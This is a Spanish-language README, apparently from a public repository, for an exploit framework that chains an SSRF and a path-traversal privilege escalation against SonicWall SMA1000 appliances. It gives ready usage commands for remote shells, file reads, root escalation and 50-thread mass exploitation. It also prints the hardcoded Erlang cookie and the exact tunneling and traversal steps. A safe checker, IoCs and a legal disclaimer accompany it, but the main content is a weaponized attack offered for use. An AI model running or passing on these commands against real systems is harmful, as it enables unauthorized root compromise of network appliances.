[1] CVE-2026-15409 | [2] CVE-2026-15410

SonicWall SMA1000 - SSRF → RCE en Erlang → Escalada a Root

Framework de Exploit y Herramienta de Detección Segura
Solo para pruebas de seguridad autorizadas.

⚖️ Aviso Legal y Uso Responsable

Esta herramienta se proporciona únicamente con fines educativos y de pruebas de penetración autorizadas.

Los autores y colaboradores no son responsables del mal uso o los daños causados por este software. Los usuarios son los únicos responsables de asegurarse de contar con un permiso por escrito explícito del propietario del objetivo antes de realizar las pruebas. El acceso no autorizado a sistemas informáticos es ilegal según la Computer Fraud and Abuse Act (CFAA) y leyes similares en todo el mundo.

Al utilizar este software, usted acepta:

• Utilizarlo únicamente en sistemas propios o sobre los que tenga permiso explícito para realizar pruebas.
• Cumplir con todas las leyes locales, estatales y federales aplicables.
• No utilizarlo para actividades maliciosas, destructivas o ilegales.

⚠️ ADVERTENCIA: Esta vulnerabilidad está siendo explotada activamente en el mundo real. El uso no autorizado puede acarrear graves consecuencias legales.

🔥 Resumen de la Vulnerabilidad

CVE-2026-15409 es una vulnerabilidad crítica de Server-Side Request Forgery (SSRF) sin autenticación descubierta en la interfaz Appliance Work Place de SonicWall SMA1000.

Cómo funciona:

1. Un atacante explota la SSRF para realizar un túnel a través del endpoint wsproxy.
2. Esto otorga acceso a los servicios internos de distribución de Erlang (puerto 1050/8188).
3. Usando una cookie predeterminada hardcodeada, el atacante se autentica en el nodo de Erlang.
4. Se consigue ejecución remota de código (RCE) mediante llamadas os:cmd/1.
5. CVE-2026-15410 se encadena a continuación para escalar privilegios a root mediante un path traversal en la AMC (Appliance Management Console).

Datos clave:

• 📅 Divulgada: 14 de julio de 2026
• ⚠️ Puntuación CVSS: 10.0 (CRÍTICA)
• 📋 CISA KEV: Añadida el 14 de julio de 2026 (Fecha límite: 17 de julio de 2026)
• 🎯 Productos afectados: SMA 6210, SMA 7210, SMA 8200v
• 🔄 Versiones corregidas: 12.4.3-03453+ y 12.5.0-02835+

🛠️ Framework de Exploit (exploit.py)

El exploit totalmente armado encadena CVE-2026-15409 y CVE-2026-15410 para lograr un compromiso a nivel de root.

✨ Características:

📦 Instalación y Requisitos

Requisitos previos:

• Python 3.6+
• pip (para la biblioteca requests)

Instalar dependencias:

pip install -r requirements.txt

[!] Nota: exploit.py utiliza una implementación WebSocket manual – no se requiere la biblioteca websockets. requests solo es necesaria para la función --detect.

🚀 Ejemplos de Uso

[2] Framework de Exploit (exploit.py)

# Interactive shell on target
python exploit.py -u 192.168.1.100

# Execute a single command
python exploit.py -u 192.168.1.100 --exec "id && whoami"

# Read a file
python exploit.py -u 192.168.1.100 --read-file /etc/passwd

# Enable SSRF detection before exploitation
python exploit.py -u 192.168.1.100 --detect

# Attempt root privesc
python exploit.py -u 192.168.1.100 --privesc

# Mass exploit from file (50 threads)
python exploit.py -l targets.txt -m 50 --exec "uname -a"

# Custom port and path
python exploit.py -u 10.0.0.5 -p 8443 --path /workplace

# Pipe mode (read command from stdin)
echo "cat /etc/hosts" | python exploit.py -u 192.168.1.100

[2] Verificador Seguro (checker.py)

# Single target scan
python checker.py https://192.168.1.100

# Custom port and path
python checker.py 192.168.1.100 --port 8443 --path /workplace

# Mass scan from file
python checker.py --list targets.txt

🎯 Versiones Afectadas

⚠️ Importante: Estas vulnerabilidades no afectan a los firewalls de SonicWall (SSL-VPN) ni a la serie SMA 100.

🧠 Análisis Técnico en Profundidad

SSRF (CVE-2026-15409)

El endpoint wsproxy en el puerto 443 acepta un parámetro bmID que comienza con -3389 y una especificación host:port. Al apuntar host=127.0.0.1 y port=1050, los atacantes pueden realizar un túnel hacia el servicio interno de distribución de Erlang.

Erlang RPC

El nodo de Erlang utiliza una cookie predeterminada hardcodeada: 10ecad5b446e86864832904cd439b6b70262. Esto permite la autenticación remota y la ejecución de cualquier llamada os:cmd/1.

Escalada a Root (CVE-2026-15410)

Una vez autenticado, el exploit escribe un script de shell en /var/tmp/ y activa el endpoint XML-RPC remove_hotfix de la AMC con un path traversal (../../../../var/tmp/script.sh), ejecutando el script como root.

🔍 Indicadores de Compromiso (IoCs)

SonicWall recomienda comprobar:

• extraweb_access.log en busca de /__api__/login o /__api__/logout (estado 200)
• extraweb_access.log en busca de /wsproxy con parámetros host sospechosos (estado 101)
• ctrl-service.log en busca de reversiones de hotfix con path traversal
• /var/lib/unit/conf.json que contenga rutas para /__api__/login o /__api__/logout

📚 Referencias

• NVD - CVE-2026-15409
• Aviso de SonicWall (SNWLID-2026-0008)
• Catálogo CISA KEV
• The Hacker News - Dos Zero-Days de SonicWall SMA 1000 explotados